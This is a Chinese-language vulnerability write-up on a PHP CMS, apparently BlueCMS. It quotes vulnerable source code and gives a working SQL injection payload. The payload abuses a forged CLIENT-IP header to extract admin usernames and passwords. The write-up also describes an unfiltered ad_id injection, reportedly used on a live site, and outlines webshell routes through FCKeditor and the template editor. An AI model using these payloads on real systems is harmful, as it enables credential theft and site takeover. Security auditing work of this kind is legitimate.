0×01. 注入
client_ip伪造注入
看代码吧,
这里的getip函数是获取Ip的,由于,client_ip和x_forwarded_for都可以伪造。
在 include/common.fun.php 的106行
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
|
我们继续跟踪一下getip()这个函数的应用。
comment.php中的113行
这里我们伪造下ip测试下。
看看结果
可以看到了么?
已经是注入了
问题这里的是报错是。。它已经单独写出报错的语句,以致我们不能利用报错语句,直接爆出用户名和密码。但是我们可以用盲注的方式进行来搞用户名和密码了。但是这样子太麻烦了。之前,我一直在想啊,想啊,用啥方法来注呢,
注,注。。。。。。。
毕竟人的思维太宽了。因为这是个insert的语句,我们可以插入我们想要的信息,然后通过前台页面显示出来,
我们可以这样子构造语句
a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#
|
前面的闭合前面一个insert语句,因为insert语句的话,我们可以insert into table
(a,b,c) values (‘fuck1′,’fuck2′,’fuck3′),(‘fuck4′,’fuck5′,’fuck6′)……这样可以多插几个的。这样子,我们就可以意淫了,
我们测试下
看到了么?用户名和密码已经被我们搞到手了
这是其一。
0×02 继续上个注入
在 ad.js.php中 19行
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
2
if(empty($ad_id))
3
{
4
echo 'Error!';
5
exit();
6
}
7
8
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
|
这里的$ad_id未经过任何过滤就传过来了,并且这里就直接注入了
所以这里就是赤裸裸的注入
所以这里随便选取个站,已经取到
0×03 getshell
再说一下,直接getshell把
由于存在fck
版本,2.6.3
直接getshell
0×04 后台拿shell
来到系统设置 再到 模板管理 然后点击编辑
这里编辑的是模板
然后点编辑
我们跳到上层目录去
可能问题还很多。总之一句,无论一套程序出现的安全问题多大,我还是不会去鄙视这些程序员,因为真正的一套cms要我来开发,我只能说我。。。。。。,以前我也是怀着BS的心态去看待一些爆有很多安全问题的程序。终于当有一天去做开发,我就明白了。其实俺当初怀着SB的心态去看我今天写的SB程序。所以最后一句还是那句,尊重别人的劳动果实。
编辑点评:对漏洞不再过多阐述,需要说明的还是尊重别人的分享成果,开源不代表他的价值可以给使用者随意抨击,尊重开源精神同样重要!
|